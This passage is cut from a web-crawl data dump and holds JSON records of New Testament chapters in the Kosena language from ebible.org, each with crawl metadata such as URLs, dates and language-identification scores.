kwémaraundayaawe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C29.html","date":"2023-10-02T15:36:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00867.warc.gz","language":"kze","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999984502792358}","num_words":298,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nókwara'a sáwí'a umátínkaraan-kwasai.\n1 minkánáá Érótimba anówainkoma araámáó Érótima Yútaa-kwaasiti kawááná'á kwemá Ísuna aampa'á kwéguwai évakarawai sáwí'a umátinkena\n2 moóráwaimba ai'marówana Yóni awaaó áwí'a Yémésimba koyáto'mai anumarambá arátuwowana puwúwasa\n3 Yútaa-kwaasi Ísun-aaiyavesamo ímo áraire suwáí aamoí kwéuwana Éróti awánéna aamoí umásinkaigwae séna moóráwaimba ai'marówana Pítaamba koyátokai. Yútaa-kwaasi ímo intóráin-tantaakwara-pereti kwéagayon-kanaavimba moórá-tawai Pítaamba koyáto'maena\n4 ándáva'a máánkowasa siyáánkain-umai ava'moraé-i-kwaasi kwenká'á kárákwirowasa éíyain-eiyain-kwaasi anondánonda umái kárákwiyuwasa Éróti séna naaóvá'á Áánútu Yútaa-kwaasi tíyótaasa í-tánón-kánáámá ánásaina'a Pítaamba áí'mae'a Yútaa-kwaasi túranka'a aaivimbá mayanké'a inkamónaumnemo kwésumba\n5 Pítaa ándáva'a máyombanivo Ísóigona kwaási Ísóigompa'a námúnaa simái Pítaamba áwa'naa uráawe.\nPítaamba ándávakemba ayúránkarain-kwasai.\n6 námúnaa kwésesa Pítaantavai ísámai áísaa uwaná aaváyaaraamba Éróti Yútaa-kwaasi túranka'a Pítaamba aaivimbá mayankánaumne kwésuwana ívé'-no'waankaamba Pítaamba aíyayaanka'a asááúmakesa kaer-í-kwáásí évareva'a máyóyana Pítaa aún-kwaigúwasarai kaer-í-kwáásí ontará'á kárákwiroyana\n7 avekáámbá Ísóigona kwayó'ná'á kwíyómpakewai kumúwana ándá-naumpa'a sán-kówana Pítaamba ayoírá'á kwétuvuwena aúsuwana usásinowana séna avekáán-usásinaao kwésuwana Pítaa ayáámpinken-anda kweyááríka'a ayú'maena marapá'á kumúwana\n8 kwíyómpakewai séna enámúranda uré enaísamai ánáamba maimái uwó súwana mirá úmayowana ená paákákén-únánkwátói kuvé'máenakai kesé kúmóyo súwana\n9 Pítaa ándá-naumpakemba kwenánaaemba kuména íma kwaásin-iye-imayaa éna kaaimbá kwéawanaumne-imayaa kwéena\n10 i-kwáásímó máyon-ontara'a kunáyaaitesarai minkákémbá moórá-ontara'a i-kwáásímó máyon-ontara'a kunáyaaitesarai minkákémbá ándávakembo naaópa'o kónáesamo uwasamó titinkémáen-ontara'a asirayán-óntárá'á kúmúyana kweyááríka'a tigúwasarai kunákárúwagwesarai aampa'á kuyaná avekáán-úwana kwíyómpakewai Pítaamba auwéna aúyokuwana\n11 Pítaa imáyáa éna séna íma kaaimbá awánáúmpo árai'a Ísóigo kwená kwayó'ná'á ai'máráísana kuména Éróti sínkamonae kwéisana ayáámpinkemba kuntavíyuwaisa'a túne. Yútaa-kwaasigwara'a sínkamonaesamo ombá kuntavíyuwaisa'a túne Pítaa siráiye.\n12 Pítaa simásuwena Máríyaana naambó kwáyopa'a kwéna Yóni Máákaamba anówana naambó kwáyopa'a kúwasa sáwíva-kwaasi mindáúmpá'á torupamái mésa Pítaantavai ísámai Ísóigompa'a námúnaa kwésuwana\n13 mindánkóná ontará'á kotuwátuwar-úwana moórá-arasi mindáúmpá'á kígau ún-arasigo áwí'a Áróta ontará'á kuména\n14 séna nááwa'ono súwana Pítaa séna kemá úne súwana Pítaa amósámba iséna kunaamoí úmaena ímo ontamó tiyankómba isaaiséna sáwíva-kwaasitopa'a usimátimena séna Pítaa ontará'á máyáiye súwasa\n15 miwí sésa emá uwo'aó'á éma kampa'á séne suwaná minárásígó ókwara'a séna árai'a Pítaa ontará'á máyáiye súwasa miwí sésa Pítaan-amankon-iye\n16 kwésuwana Pítaa ontará'á árimba tuván-tuvan-úwasa isésa onta kuntisuwésa awánomba kwemá Pítaa úwasa táátavai uwaná\n17 aaisékéwa'a simátíméno séna Ísóigo ándávakemba kembá sí'maena aampa'á mésiyuwaivo Yémésinte Ísun-aaimo ísáan-kwaasiye kosimátíméro Pítaa simátimena tiyuwéna ó'on-daopa'a kuráiye.\n18 kúwasa irataró'a i-kwáásí Pítaamba kárákwirowai awánomba íma máyowasa kantúmbá ésa Pítaa náávara kóuraiyo suwaná\n19 Éróti iséna Pítaamba avakáá oró súwasa avakáá uwááesa tuwówana Éróti miní-kwáásí aaivimbá maitinkéna séna tínkamoro séna évakarawai ti'marówasa tínkamuwasa púwúwana Éróti mirá umásuwena Yútiyaa-marava'a tuwéna kumeémena Sísáriyaa-naopa'a kumbéraiye.\nÉróti pukáin-kwasai.\n20 Éróti Sáítóni-naopaken-kwaasiye Táyaa-naopaken-kwaasiye ávááraumai áwáá'a tiyúwasa minkáé'-náópaken-kwaasi tayorupamái mésa sésa Érótimo kárákwirai-maravakemba kentáásí toómbá kwémayaundayaawe sésa mináímbá simái kawer-ónáe sésa Érótinopa'a tumbá kwená naaka'ó kárákwirowai áwí'a Párásatasimba másimamuwana isówasa minááísámbá másimai tukáawe.\n21 minkákémbá Éróti anón-kanaa úwana kwenká'ó kárákwirowaina unáánkwátói úmaena kárákwirowai maé'maer-únka'a uména ayáátáár-aimba kwésuwasa\n22 Érótimba simái arumbá iyaésa sésa íma kwaásigo kwésivo Ísóigo kwésiye anónka'a suwaná\n23 Éróti mináíntávéna íma Ísóigo úmpo úwoi-kwaasi úne séna aúpá'á tuwówana Ísóigona kwayó'ná'á kwíyómpakewai tuvuwúwana uvowánkó arumbá unkarówana pukáiye.\n24 puwúwasa Ísóigona kwaási Áánútun-aai kosimátin-tasimatin-uwasá isésa áraire sésa Ísóigompa'a tésa méraawe.\n25 Ántíokuvaken-kwaasi Yérúsaremuvaken-kwaasiyavesa óntamba timénaumne sirómba pósarai Páánápáasiye Sórowe kwéti'matuwesarai mimbáyáí ánásowasarai ívé-kwaasigo áwí'a Yóni Máákaamba áí'maesarai Yérúsaremuva'a tuwésarai kweémesarai Ántíokuva'a kurááiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC12.html","date":"2023-09-23T16:56:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506528.19\/warc\/CC-MAIN-20230923162848-20230923192848-00090.warc.gz","language":"kze","language_score":0.99994874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999487400054932}","num_words":474,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nÍsu ávon-ontankaanda'an-iye-kwasai.\n1 aúnái'a umái máyáamba pó'a sáwí-yantaakomba tínaaemba umásuwe'a íma kampa'á sé'a íma kaumbo-káér-imayaa é'a kawe'-máyáímó kwémayaiyantavena kentirunkó íma simái sáwí'a umátinkaina'a túwíkwara'a íma simái sáwí'a umátinke'a máéro.\n2 umarambó náántavenamo tínkáíntemba Áánútuna kawer-áíntávéna mirán-umai táái tinkáíno. Áánútun-aai toónkáámbá kwéne'a táákaevayan-kwaasiraamba umái mé'a Áánútuna aambá kwa'maé'a íyóro.\n3 Ísóigo kawe'á umátínkaraina'a miráumai mé'a Áánútuna aambá kwa'maé'a íyóro.\n4 naaóvá'á mono'-námbá óntandei urónka'a ávonkaan-ontamba awánésa úwoi-ontamban-iye sésa tukáawe. miráumai Ísumba Áánútu kawe'ná'án-iye séna ítámakaimba awánésa áúkaawe. kwemá ávon-ontankaamban-ivo kwenópa'a teró.\n5 óntandeimo naambó ontembá Áánútu keinárawa'nei kwená naankáámbá úmarena keinárawate méniye. kwená mayáí-kwáásí é'a kwená mayáíyé su'mai kwémayaiyana Ísu Káráísiti túwa'naa ínímba póna Áánútu kentí mayáíyávéna aamoí íníye.\n6 mindáyavena naaóvá'á Áánútun-aai aúváívimba agaimaréna séna\nÁánútu séna kawer-óntámbá ítámare'a naambó asiramáímo kwaíkwai'o íníntave'a Sáíyono-naopa'a ávonkaan-ontamba makáumne. óntantavenamo siráintembo íníwaimpa'o agevamáímo ménaaowai íma tigaeyávésa ónááowe siráiye\nmináímbá Ísu Káráísitintavena simái agaimakáiye.\n7 Áánútun-aaiyave'a áraire sé'a kwenká'á agevamái máyáawai minóntánkó anómban-iye kwésevo Áánútun-aaiyavesa íma áraire kwésewai minóntánkóntávésa íma mirán-áímbá kwésewe. mindáyavena Áánútun-aai aúváívimba agaimaréna séna\nóntan-damba on-kwáásí moórá-ontantavesa sáwí'a kwéiye sésa maisukáawe. aáno minóntánkó ávonkaamba uráiye\nagaimaréna siráiye.\n8 moóráva'a agaimaréna séna\nminóntánká'á tísamaima\nturarésa tanaambá vánááowe\nagaimaréna siráiye. tanaambó vaantembá Áánútun-aai araaisésa miráumai tanaambá kwévaawe. ááéma íma mirá uráanka'a Áánútu séna mirá ónááowe siráinka'a pósa miráumai tanaambá kwévaawe.\n9 miwí Áánútun-aai arááíráavo íma mirá é'a mimbórá-ándá-kwáásíráámbá é'a Áánútu ítámakain-kwaasi é'a anóndakona mono'-máyáí-kwáásí é'a Áánútundei-i'a umátínkarain-kwaasi owaná Áánútu túnkwiyan-ayampakemba kwená ságayan-ayampa'a mégwétinkaisa'a ó'oran-kawe'-mayai máyáin-aimba kosimátíma'mae naaónááontavena ítámakaiye.\n10 ááéma íma Áánútuna kwaási-i'a uré'a ívé'a kwená kwaási-i'a owaná ááéma íma arumbá umátínkaraimba isaná ívé'a arumbá kwéumatinkaiye.\nÁánútuna mayáí-kwáásín-owe kwaasái.\n11 kesí kwaásiyono. ó'om-baravaken-kwaasi pó'a marapá'á kwááyu mé'a mindáyave'a marapá-tántáátávésa tirááíyavesamo kwéomba tínaaemba umátime'a ímo tínaaembo umátimiyanamo éna mintántáákó tavisimái kentí imáyáa sáwí'a umátinkaniye.\n12 Áánútunopa'o ímo tiráán-kwaasivimba mé'a kaweré su'mai úmae iyíyasa sáwí'a kwéowe suwááesa kentí kawe'-máyáí tuwánésa pósa Áánútuma marapá-kwáásíyávéna imáyáa índa-kanaavimba kogwantésa kwenáwí'a mósá maránááowe.\n13 Ísóigonatave'a imáyáa é'a marapá'ó kárákwiraan-anon-kwaasi tísamaivimba áíkwiye'a aiva'ó kárákwiraiwai aísamaivimba áíkwiye'a\n14 kwemó usásintinkaraiwai tísamaivinkwara'a áíkwiyoro. sáwí'o kwéowai sáwí-meyamba timésa kawe'ó kwéowai kawer-áímbá simátimenaaontavena usásintinkaraiwai mindáyave'a tísamaivinkwara'a áíkwiyoro.\n15 Áánútu maarámó ónááontavena arááíma kwétaiye. kawe'ó íyasamo ésa sáwí-imayaavinkembo úwoi-aimbo kwésewai táái kentí kawe'-máyáígó itáníye.\n16 Áánútu kentí sáwí-imayaago tátokaimpinkemba iyátínkaraisana póna íma tátokaisa'a mé'a miráumaimo máyáamba íma aúpá'á sáwí'a kwée'a Áánútuna mayáí-kwáásí pó'a kwemó sintení'a kwée'a\n17 amáparawaiyave'a imáyáa é'a Áánútuna kwaási kentí kwaásivimba kentirumbá kwétime'a Áánútu áároi kwéinkaise'a mé'a marapá'ó kárakwiraiwai áái mósá máráaro.\nÍsumo uráinteni'a mirán-oro-kwasai.\n18 mayáí-kwáásíyóno. kentí anón-kwaasi táái isé'a síyanteni'a mirán-oro. íma kawer-ánón-kwáásí tááiye su'mai isé'a túwáávitemo íyan-anon-kwaasi tááigwara'a ísáaro.\n19 keinárawa'o ímo sáwí'o íyasamo umbai-yántáá'ó úwoimo timíya'o Áánútuntave'a imáyáa é'a asiramáímo méwanamo éna Áánútu kawe'á umátinkaniye.\n20 ánivo sáwí'o íyasamo tínkamiyambo aánoumaimo méwanamo éna Áánútu kentúwí'a íma mósá maráníye. ánivo kawe'ó íyasamo tínkamiya'o asiramáímo méwanamo éna Áánútu kawe'á umátinkaniye.\n21 Ísu Káráísitimba áí'a úni'a umánkaraamba keinárawatavena imáyáa éna asiramái ména mirán-ámbá agaráátínkaraimba pó'a mirán-oro. mirá ónááontavena Áánútu tááyaraiye.\n22 Áánútun-aai aúváívimba agaimaréna séna\níma kampar-áímbá séna íma\nsáwí-aimba simbá ísaraawe\nÍsuntavena mináímbá agaimaréna siráiye.\n23 simái sáwí'a umánkowana anondá íma sáwí'a umátinkowasa áí'a úni'a umánkowana anondá sáwí-meyamba mayánááowe íma simátimena arupí umai-meyambo timíníwaina imáyáa asiramái uráiye.\n24 Ísu Káráísiti sáwítaamo uráunda-meyamba maimaéna taaira'á pukáiye. sáwí'o kwéundaya sínaaemba umámeta arupí umáíya ménaundayavenaya pukáiye. kwenáúmo sáwí'o umánkaraantavena póna kentáá kawe'á umásínkaraiye.\n25 keinárawa'a uwóváguraawana tí'maena tisa'á keinárawaka'a kárákwiraiwaina aampa'á kwégwaraawe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/P12.html","date":"2023-09-26T01:32:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510130.53\/warc\/CC-MAIN-20230926011608-20230926041608-00204.warc.gz","language":"kze","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.000008225440979}","num_words":514,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nÁánútuna iyámpóíti kwaasái.\n1 Áánútu arumbá ávááraumai kwésimiye. mindáyave'a imáyáa oró. Áánútu arumbá kwésimenayaampona kentááyávéna kesí iyámpóíman-owe kwésiye. kesáá árai'a kwená iyámpóíya úne. Áánútumpa'a íma tiráawai Áánútuna ááimba íma awánésa kentáásí ááinkwara'a íma kwésuwanaawe.\n2 kesí kwaásiyono. ívé'a Áánútuna iyámpói'a umáíya máyaundaya naaémba nóra kwaásiyaawa ménaumno. mináímbá íma ísaraundanivo moórá-aimbo ísaraunda simátimenaumne. Ísu Káráísiti kumíndara'a kawe'á umái awánanaundaya póta kwenkááníta umáíya ménaumne. mirán-áímbá ísaraumne.\n3 mináímbá isésa amu'máráawai Káráísiti arupí umáímo máíntemba arupí umái máyáavo kárákwiyoro.\n4 sáwí-imayaamo kwéomba isaná ámáámbo arááísémba isaná minkáé-tántáákó mimbóráí'a kwéiye. miráumai sáwí-imayaamo kwéowai Áánútuna ámáámba tínaaemba umámesa kwéaraaisemba póna mirámó kwéon-anonda miwívímbá kwéniye.\n5 Ísu Káráísiti kwaásiti sáwí-imayaa maitiyuwáníntavena marapá'á kunkáimba kwempímbá sáwí-imayaa íma kwáyáiye-aimba á'a ísaraawe.\n6 miráumai Ísu Káráísitiye tarúmai máyáawai miwívímbá íma sáwí-imayaa kwaíkwai'a kwéivo sáwí-imayaa kwaíkwai'a kwéiwai Káráísitimpa'a íma tésa kwenáái íma kwéisaawe.\n7 kesí iyámpóíyono. kampar-áímbá simásiyuwaavo sé'a kárákwiyoro. Káráísiti arupí umái máyáiwai kwemó intembó mirámó úmae kwéiyowai arupí-kwaasiman-owe.\n8 ááinka'a Sáátáánigo sáwí'a uréna mirá úmae kwéiyena ívékwara'a mirá kwéiye. sáwí'o úmae kwéiyowai Sáátáánigona kwaásiman-owe. Sáátáánigona mayáí ánásasuwainkwae séna Áánútu ááninkomba ai'marówana marapá'á kunkáiye.\n9 Áánútuna iyámpói pósa Áánútuna asirayánkó miwívímbá kwáyáintavesa pósa íma sáwí'a úmae kwéiyowe. Áánútuna asirayán-áráátómbá pósa íma sáwí'a úmae kwéiyowe.\n10 ímo arupí umáímo máyáawai íma Áánútuna iyámpóíman-owe. kentí kwaásimo tirumbó ímo kwétimewai íma Áánútuna iyámpóíman-owe. miráumaiya Áánútuna kwaásiye Sáátáánigona kwaásiye taaímbaiya ísaraumne.\nmoórá-morawaivimba tirumbá kwétimen-kwasai.\n11 moórá-mora-kwaasivimba tirumbá tíméro-aimba ááéma ísaraawe.\n12 Áándamu ááninko áwí'a Kááinimo uráintemba íma mirán-oro. Kááini Sáátáánigon-áráá'a póna ávákomba tuvuwúwana pukáimba maarántávéna tuvuwúwana pukáiye. áváko kawe'á umái máyowana Kááini sáwí'a umái ména póna ávákomba tuvuwúwana pukáiye.\n13 miráráán-umai Áánútumpa'a íma tiráawai keinárawapa'a tirumbá sáwí'a umátinkaiyantavena íma táá'a kaíno.\n14 Áánútun-akumba sirumbá kwétimundayaveta séta Áánútuna némpa'a maénaundawaina ááimpa'a tuwéta kawe'á umái maénaundawaina ááimpa'a tamáyaumne kwésune. kentí kwaási tirumbá íma kwétimewai Áánútuna némpa'a paaí máyáawe.\n15 kentí kwaásiyavai tíyámba umátínkáan-kwaasi tínkamiyasa puwónááon-kwaasiraamban-owe. mirámó kwéowai aúnái'o umáímo maí'mai'o kwéowaina ááimpa'a íma máyáawe.\n16 Ísu Káráísiti arumbá siménaya íma úwoi máímba súwa'naa íníntavena kentááyávéna ísámai pukáiye. mirá uráintaveta arumbá símakaiye kwésune. Áánútun-akumba túwa'naa eta puwúnavo íma sendayá úwoi túwa'naa ónaumne.\n17 óísankwara-kwaasi kentí kwaási toómbá íma makáawaima tuwánésa íma túwa'naa ombá sésa Áánútumba sirumbá kwéamune sembá kampa'á kwésewe.\n18 kesí iyámpóíyono. sirumbá kwétimunemo sembá íma tóikakemba sé'a árai'a tirunkakémbá kwése'a túwa'naa oro.\nÁánútumpa'a asiramáíya máyaunda-kwasai.\n19 sirumbá kwétimetaamo kwétuwa'naa-undaya mirámó únda-kwaasiya arupí umáíya kwémaumne. mirámó kwéunda Áánútu aúrankata asiramáíya kwémaundayaawe.\n20 ánivo kesáá sáwí'a úndayavenaya kentáásirunko umbaí kwétaivo Áánútu amápa-tantaa'a awánéna minúmbáí-yántáákómbá usáyaaitaisata Áánútu aúrankata asiramáíya máyaumne.\n21 kesí kwaásiyono. mindáyaveta imáyáa úndaya kentáásirunko íma umbaí taisatá Áánútu aúrankata asiramáíya máyaumne.\n22 kwenáái taagwiyavétaawe kwemó aamoimó iní'a kwéundayavetaawe áísaa únda-yantaa'a úwoiya kwésimiye.\n23 Áánútu asiramái séna kesááninko Ísu Káráísitin-aaiyave'a áraire sé'a kwenká'á agevamái mé'a amápa-kwaasivimba tirumbá kwétime'a máéro siráimba mináímbá Ísu Káráísiti asiramáíya simásímakaiye.\n24 Áánútun-aai taagwiyávówai Áánútuwe tarúmai máyáawana miwísé tarúmai máyáiye. Áánútu kwenamambá ai'marówana sirumpintá kumbéna simásimenaya séna Áánútu keinárawate tarúmai máyáiye kwésisata kwéisaumne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/J13.html","date":"2023-09-27T17:52:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510319.87\/warc\/CC-MAIN-20230927171156-20230927201156-00537.warc.gz","language":"kze","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.000009298324585}","num_words":448,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Tímóti\nÍsu kwíyómpa'a irówana Póro moórá-kwaai aíyayaan-umai sísamaivakemba ava'moraé-iya'iyo. miráumai-ima maisuwéna Tímótina imáyáa éna maanáímbá agaimái tuwówana kwenópa'a kuráiye. Ísun-aai simátíma'mae iyúnkakemba ándáva'a ánkarowana ména Tímóti Évévasi-naopa'o Ísóigona kwaásira'o kárákwirontavai imáyáa éna maanáímbá agaimarówana kwenópa'a kuráiye.\n1\n1 Tímótiyo kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo isaaó. Áánútu kentáásí sáwí-imayaaomo tátokaimpinkemba iyásínkáiwaiye Ísu Káráísiti kumíníye sé'a amu'maráúndawaiye kentávésarai sésarai aantá-kwaasi-i'a éma Ísu Káráísitin-aai kosimátíma'mae naauwó sésarai si'mákaaivo\n2 Tímótiyo Ísu Káráísitinka'a agevamái maéndawai árai'a kesááninkaamba ómpo isaaó. Áánútu kentáásivowawe Ísu Káráísiti kentáásí Ísóigowe úwoi áwa'naa esarai tirumbá umánkesarai paru umánkaayantave'a námúnaa kwésune.\n3 ááéma Másétóniyaa-marava'a kónáe séwánda-tawai entávé'a asiramái sé'a Évésasi-naopa'a úwoi maiyó. Áánútun-aaigomba kwaé'náer-aimba kwésewaiyavai íma mirán-áímbá seró simátimiyo.\n4 aasiyaasí íma imáyáa umái manír-áíné tíkwá'náwe tináávúwísáiye túwíkwara'a íma taaró simátimiyo simámakaumne. mirán-áímbó kwésemba kwaásiti imáyáa taviséna íma túwa'naa ínasa pósa Áánútumpa'a íma aráápamai maí'mai'a ónááowe.\n5 ánivo simámunda-aimbo amáparawaimo kwarésamo ésa imáyáavinken-aine tirumpinkén-áíné kaweré su'mai úmae kwéiyinasa Áánútun-aaiyavesa áraire sésa íma tóikakene su'mai sésa tirunkakénkwárá'á sénááomba pósa tirumbá tíméro kwésune.\n6 évakarawai mináímbá ivátuwesa úwoi-aimba símae naaésa\n7 Áánútuna ámáámba simátimenae sésa ombánivo minámáámbá íma kawe'á umái isésa asiramái sen-áínkóná ááimba íma ísaraawe.\n8 ámáámba kawe-tántáá'á póna mindámo kwégwaraan-kwaasi ámáánko kwétuwa'naa-imba ísaraumne.\n9 kesí ámáámba kwa'mái máéro séna ámáámba tiména sáwí'o uráan-kwaasi kawer-ámpá'ó kónááontavena ámáámba tímakaiye. ámáámbo káráan-kwaasiye aaimó ímo ísáan-kwaasiye Áánútuntavesamo ímo imáyáamo on-kwáásíyé sáwí'o kwéon-kwaasiye Áánútun-aaiyavesa kwíráái kwésen-kwaasiye tinóvowi tínkamowasa púwón-kwaasiye évakarawai tínkamowasa púwón-kwaasiye\n10 aarai-úmóyámbó on-kwáásíyé kwaai-úmóyámbó on-íníné umóyán-ánká'á nááón-kwaasiye iyámpóí-umoyambo on-kwáásíyé kampar-áímbó sen-kwáásíyé kampar-áímbó simátiyuwaan-kwaasiye Áánútuna árair-aimbo káráan-kwaasiye mirámó kwéon-kwaasimo kawer-ámpá'ó kónááontavena ámáámba tímakaisata ísaraumne.\n11 mináímbá áséi-kwasaivimba kwéna Áánútu kaweré su'mai iwáí kwená ááimba ó'oran-aainkwarawaina árair-aimban-iye. kembá Póromba simásimena séna mináímbá simátíma'mae naauwó siráiye.\nÁánútu arumbá umásínkaraiye Póro siráin-kwasai.\n12 Ísu Káráísiti kentáásí Ísóigo simásimena séna kesí mayáí kawe'á umái mayáníyondayavai mayaaó séna mimbáyáímó mayánaundayavena asirayámbá símísa'a súwi kwésimankaumne.\n13 ánivo mimbáyáí íma mairáawandara'a kwenáwí'a simái sáwí'a umánke'a kwená mayáí-kwáásí sáwí'a umátinke'a kwembá simái sáwí'a umánkaraumne. minkánáárá'á Ísuma Ísóigoma iyé-áíntávé'a íma áraire sé'a íma ísámai kawer-é'a pó'a sáwí'a uráunda mindáyavena arumbá umásinkena\n14 Ísóigo úwoi súwa'naa úmae iyísa'a Ísu Káráísitiye tarúmai mé'a kwenááiyave'a áraire sé'a kwená imáyáa kwéune.\n15 Ísu Káráísiti sáwí'o kwéon-kwaasi sáwí-imayaaomo tátokaimpinkemba iyátinkanintavena marapá'á kunkáiye siráivo mináímbá árair-aimban-ivo isé'a tirumpimbá asiramái tátoraaro. kemó Póromo sáwí'o uráundawai amáparawaimo sáwí'o uráamba usáyaaitaraumne.\n16 mirámó uráundayavena arumbá umásinkena ayáátááka'a simu'marómba kwaási mindá awánésa kwenááiyavesa áraire sésa aúnái'a umái maí'mai'a ónááontavena íma sínkamimba simu'maréna ména arumbá umásínkaraiye.\n17 Áánútu kwégarakwiyiwai maí'mai'a éna íma puwíníwai éna kwenane'á súrandei ímo awánáúndawai kweyáá Ísóigoma éna kwená ááimba ó'oran-aaimba kwaíkwai'a isaná kwenáwí'a anómba kwaíkwai'a kwéiye.\n18-19 Tímótiyo kesááninkaawai maanáímbá asiramái simámenaumpo isaaó. ááéma Ísóigona mayáímá mayáníyonda-aimba entá simámakaundayaama isa'á imáyáa é'a pó'a asiramái simáme'a sé'a mináíntáváí imáyáa umái kwaréma Ísóigowe aráápamai méma arunkakémbá árair-aimba isé méma i-kwáásímó tiyáántámbo kwimáímo asirayám-báyáímó kwémaesamo máéntemba Áánútun-aaiyavai ayáántámba kwimái asirayám-báyáí kwémae maiyó kwésune. évakarawai tirunkakémbá árair-aimba tínaaemba umámesa pósa Ísóigon-aai tínaaemba umámesa máyáawe.\n20 miwívínkémbá kae'nárai túwí'a moóráwai áwí'a Áíméniyasi isaná moóráwai áwí'a Arekesándaa isa'á ti'maráúnana Sáátáánigo tátokaiye. Áánútunka'a sáwí-aimba simái tuwáyááoiye sé'a ti'maráúnana Sáátáánigo tátokaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/T11.html","date":"2023-09-29T20:01:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510528.86\/warc\/CC-MAIN-20230929190403-20230929220403-00001.warc.gz","language":"kze","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000041723251343}","num_words":472,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.201,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nÁánútuna imáyáavinkeni'a oró-kwásái.\n1 Ísu Káráísiti áí'a úni'a umánkówana asiramáímo imáyáamo uráintemba keinárawakwara'a asiramái imáyáa oró. túra'o tí'o úni'o umátínkówai miwímó sáwí'o ónááon-imayaago íma tátokaiye.\n2 marapá'ó máyáamba sáwí-imayaayave'a tirááíyave'a íma kwée'a Áánútuna imáyáavinkeni'a oró.\n3 Áánútunopa'o ímo tiráán-kwaasimo kwéontemba keinárawakwara'a mirá uráavo ívé'a íma mirá kwéowe. ááéma maarán-umai áwáyo-tantaa'a kwée'a sáwí-imayaayave'a tirááíyave'a kwée'a uwo'aó'-nómbá kwéne'a uwo'aó'á kwée'a toómbá námae kwéiye'a uwo'aó'-nómbó kwéne'o uwo'aó'ó ónááontave'a torupamái mé'a kígaumo umándanaao sumpur-áínkón-ááima mósá maré'a kwaántá-kwaasiyonti imáyáa mósá maré'a mirá uráambanivo\n4 ívé'a íma miwísé torupamái mé'a mirá-sáwí-yántáá'á íma owasá tuwánésa sésa ívé'a nóra séra íma mirá kwéoo simái sáwí'a kwéumatinkaawe.\n5 Áánútu to'mayaa umái ména pukén-kwaasigwara túvamaimo mén-kwaasigwara'a miwímó máyáawaina ááimba tísaa ínasa simámiyana miwítí meéyámbá timíníye.\n6 marapá'ó máyónka'o uráam-beyamba mairésamo pukáawai Áánútumo máyáintemba miwí timankómó miráumaimo ménaaontavena Ísu Káráísiti kwenamankó kwená áséi-kwasai púwún-kwaasi kosimátímakaiye.\nÁánútu mayáígóná asirayámbá tímakain-kwasai.\n7 amápa-tantaa'a ánásanin-kanaa sáwíyanka'a tínímba pó'a námúnaa símae'a kwéiyon-aimpimba kawer-ímáyáá umái kárákwiyoro.\n8 moórá-morawaivimba kentirumbá timí-timi kwée'a mirámó é'o é'a sáwí'o umátinkanaaomba mirá-sáwí-yántáátávé'a íma anondá ónáe-imayaa é'a\n9 namu-kwaasímó tíyamba naambá toómbá timé'a íma í'ái simátínkáaro.\n10 kawe'á umátinkanaaontavena Áánútu moórá-mora-kwaasi ó'on-o'om-bayaigona asirayámbá tímakaimba pó'a íma úwoi maé'a minásíráyándéí moórá-mora-kwaasi túwa'naa oro.\n11 Áánútun-aai kwésimatimewai mináín-úramba arupí umái simátíméro. kwétuwa'naa-owai Áánútu kwétimin-asirayandei túwa'naa oro. Ísu Káráísiti kwétuwa'naa-isa'a mirá kwée'a mindáyave'a amápa-tantaatave'a Áánútu áwí'a mósá kwémaraawe. Áánútu áwí'a anómba kwaíkwai'a kwéisana kwená asirayánkó mirámó kwéimba mindá árair-aimban-iye.\nÍsumbo umánkaraantemba kembá tí'a índai'a ónááon-kwasai.\n12 kesí kwaási kentí imáyáa kwéunda-kwaasi owaná kentópa'a anón-umbai-yantaa'a timbá minúmbáí-yántáápímbá mé'a mindáyave'a íma táátave'a é'a sé'a ó'oran-tantaa'a kesópa'a tiráiye íma seró. Áánútuwema asiramáíya máyáantavaiya'i. íya asiramáíya máyáantavaiya'iyo. minúmbáí-yántáá'á kentópa'a kwétiye.\n13 Ísu Káráísitimbo áí'o úni'o umánkóntemba keinárawa'a tí'a úni'a umátínkaraamba póna kentirunkó kawe'á ínana Ísu Káráísiti ságayankwara'a kumíndara'a 